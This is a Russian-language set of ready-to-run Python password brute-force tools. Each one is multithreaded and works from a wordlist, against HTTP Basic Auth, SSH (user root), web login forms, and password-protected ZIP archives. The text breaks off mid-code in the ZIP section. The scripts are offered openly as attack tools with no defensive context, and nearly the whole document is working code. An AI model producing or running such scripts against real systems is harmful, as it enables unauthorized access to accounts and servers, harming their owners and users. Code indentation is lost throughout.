Загрузка данных
## 1. HTTP Basic Auth брутфорс
```python
import requests
import threading
from queue import Queue
TARGET_URL = "http://127.0.0.1:8080/admin"
WORDLIST_FILE = "passwords.txt"
USERNAME = "admin"
THREADS = 20
# Очередь паролей
password_queue = Queue()
found = threading.Event()
def load_wordlist(filename):
with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
password = line.strip()
if password:
password_queue.put(password)
def brute_worker():
while not password_queue.empty() and not found.is_set():
password = password_queue.get()
try:
response = requests.get(
TARGET_URL,
auth=(USERNAME, password),
timeout=5
)
if response.status_code == 200:
print(f"\n[+] ПАРОЛЬ НАЙДЕН: {password}")
found.set()
except Exception as e:
pass
password_queue.task_done()
def main():
print(f"[*] Загружаем словарь...")
load_wordlist(WORDLIST_FILE)
print(f"[*] Паролей в очереди: {password_queue.qsize()}")
print(f"[*] Атакуем {TARGET_URL} пользователь: {USERNAME}")
threads = []
for _ in range(THREADS):
t = threading.Thread(target=brute_worker)
t.daemon = True
t.start()
threads.append(t)
password_queue.join()
if not found.is_set():
print("[-] Пароль не найден")
if __name__ == "__main__":
main()
```
## 2. SSH брутфорс (через Paramiko)
```python
import paramiko
import threading
from queue import Queue
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
USERNAME = "root"
WORDLIST = "passwords.txt"
THREADS = 10
password_queue = Queue()
found = threading.Event()
def load_wordlist(filename):
with open(filename, 'r') as f:
for line in f:
pwd = line.strip()
if pwd:
password_queue.put(pwd)
def ssh_brute():
while not password_queue.empty() and not found.is_set():
password = password_queue.get()
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
TARGET_IP,
port=TARGET_PORT,
username=USERNAME,
password=password,
timeout=5,
banner_timeout=5
)
print(f"\n[+] УСПЕХ! Пароль: {password}")
found.set()
client.close()
except paramiko.AuthenticationException:
print(f"[-] Неудача: {password}")
except Exception as e:
pass
password_queue.task_done()
def main():
print(f"[*] SSH брутфорс {TARGET_IP}:{TARGET_PORT}")
load_wordlist(WORDLIST)
threads = []
for _ in range(THREADS):
t = threading.Thread(target=ssh_brute)
t.daemon = True
t.start()
threads.append(t)
password_queue.join()
if __name__ == "__main__":
main()
```
## 3. POST форма логина (веб)
```python
import requests
import threading
from queue import Queue
LOGIN_URL = "http://127.0.0.1:8080/login"
USERNAME_FIELD = "username"
PASSWORD_FIELD = "password"
SUCCESS_INDICATOR = "Welcome" # Текст, появляющийся после успешного входа
USERLIST = "users.txt"
WORDLIST = "passwords.txt"
THREADS = 20
credentials_queue = Queue()
found = threading.Event()
def load_combos(user_file, pass_file):
with open(user_file) as uf:
users = [u.strip() for u in uf if u.strip()]
with open(pass_file) as pf:
passwords = [p.strip() for p in pf if p.strip()]
for user in users:
for pwd in passwords:
credentials_queue.put((user, pwd))
def brute_post():
while not credentials_queue.empty() and not found.is_set():
user, pwd = credentials_queue.get()
data = {
USERNAME_FIELD: user,
PASSWORD_FIELD: pwd
}
try:
response = requests.post(LOGIN_URL, data=data, timeout=5)
if SUCCESS_INDICATOR in response.text:
print(f"\n[+] НАЙДЕНО! {user}:{pwd}")
found.set()
else:
print(f"[-] {user}:{pwd}")
except Exception as e:
pass
credentials_queue.task_done()
def main():
print(f"[*] Атакуем форму {LOGIN_URL}")
load_combos(USERLIST, WORDLIST)
print(f"[*] Комбинаций для проверки: {credentials_queue.qsize()}")
for _ in range(THREADS):
t = threading.Thread(target=brute_post)
t.daemon = True
t.start()
credentials_queue.join()
if __name__ == "__main__":
main()
```
## 4. ZIP архив брутфорс
```python
import zipfile
import threading
from queue import Queue
ZIP_FILE = "protected.zip"
WORDLIST = "passwords.txt"
THREADS = 10
password_queue = Queue()
found = threading.Event()
result_password = None
def load_wordlist(filename):
with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
pwd = line.strip()
if pwd:
password_queue.put(pwd.encode())
def crack_zip():
global result_password
while not password_queue.empty() and not found.is_set():
password = password_queue.get()
try:
with zipfile.ZipFile(ZIP_FILE) as zf:
zf.extractall(pwd=password)
print(f"\n[+] ПАРОЛЬ НАЙДЕН: {password.decode()}")
result_password = password.decode()
found.set()
except RuntimeError:
pass # Неверный пароль
except Exception as e: